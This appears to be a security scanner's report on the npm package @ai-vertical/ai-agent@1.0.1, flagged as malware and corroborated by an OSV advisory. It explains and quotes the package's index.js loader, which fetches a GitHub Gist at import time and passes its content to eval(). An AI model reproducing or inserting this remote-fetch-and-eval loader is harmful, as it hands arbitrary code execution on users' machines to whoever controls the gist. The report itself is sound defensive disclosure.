registry / @ai-vertical/ai-agent / 1.0.1

@ai-vertical/ai-agent@1.0.1

AI Security Review

scanned 4h ago · by lpm-firewall-ai

Importing the package fetches an attacker-changeable GitHub Gist and executes its contents. This is unauthenticated remote code execution in the consumer's Node process.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Requiring or importing the main entrypoint (index.js).

Impact

Arbitrary remote JavaScript runs with the importing application's privileges.

Mechanism

top-level remote gist fetch followed by eval

Attack narrative

When the package entrypoint is loaded, it requests a specific GitHub Gist through the GitHub API, extracts the first returned file's content, and evaluates it. The remote Gist can be changed independently of the published package, giving its controller arbitrary code execution in every consuming process that imports this package.

Rationale

The package implements an immediate remote-payload loader and dynamic evaluator with no integrity check, user action, or package-aligned functionality. This is concrete remote code execution, despite the absence of lifecycle scripts.

Evidence

index.jspackage.json

Network endpoints1

api.github.com/gists/7676451d2f972137d2482c4a8937a77a

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-14070

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @ai-vertical/ai-agent (npm)

Details

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References

OSV advisory ADVISORY

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js derives a GitHub Gist API URL and fetches it at module load.
Fetched gist content is selected dynamically and passed directly to eval().

Evidence against

package.json has no preinstall, install, or postinstall lifecycle hook.
The inspected package contains only package.json and index.js; no benign implementation constrains the remote payload.

Behavioral surface

Source

EvalNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 444 B of source, external domains: api.github.com, gist.github.com

Source & flagged code

7 flagged

index.jsView file

1const gisturl = L2: "https://gist.github.[redacted].js"; L3: ... L6: fetch(apiTarget) L7: .then((response) => response.json()) L8: .then((data) => { ... L10: const scriptText = data.files[firstFileName].content; L11: eval(scriptText); L12: });

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

index.jsView on unpkg · L1

•Trigger-reachable chain: manifest.main -> index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg

10const scriptText = data.files[firstFileName].content; L11: eval(scriptText); L12: });

High

Eval

Package source references dynamic code evaluation.

index.jsView on unpkg · L10

•matchType = normalized_sha256 matchedPackage = @sqlite-prime/createsql@1.0.1 matchedPath = index.js matchedIdentity = npm:QHNxbGl0ZS1wcmltZS9jcmVhdGVzcWw:1.0.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 93085e988dfccd2a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @sqlite-prime/createsql@1.0.1 matchedPath = index.js matchedIdentity = npm:QHNxbGl0ZS1wcmltZS9jcmVhdGVzcWw:1.0.1 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

1const gisturl = "https://gist.github.[redacted].js"; const gistId = gisturl.split("/").pop().replace(".js", ""); const apiTarget = `https://api.github.com/gists/${gistId}`; fetch(apiTarget)

High

Ai Review Evidence

index.js derives a GitHub Gist API URL and fetches it at module load.

index.jsView on unpkg · L1

7.then((response) => response.json()) .then((data) => { const firstFileName = Object.keys(data.files)[0]; const scriptText = data.files[firstFileName].content; eval(scriptText);

High

Ai Review Evidence

Fetched gist content is selected dynamically and passed directly to eval().

index.jsView on unpkg · L7

Source & flagged code

7 flagged · loading source

index.jsView file

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

index.jsView on unpkg · L1

•Trigger-reachable chain: manifest.main -> index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg

10const scriptText = data.files[firstFileName].content; L11: eval(scriptText); L12: });

High

Eval

Package source references dynamic code evaluation.

index.jsView on unpkg · L10

Findings

2 Critical5 High2 Medium3 Low

CriticalRemote Asset Decode Executeindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighEvalindex.js

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

HighAi Review Evidenceindex.js

MediumNetwork

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings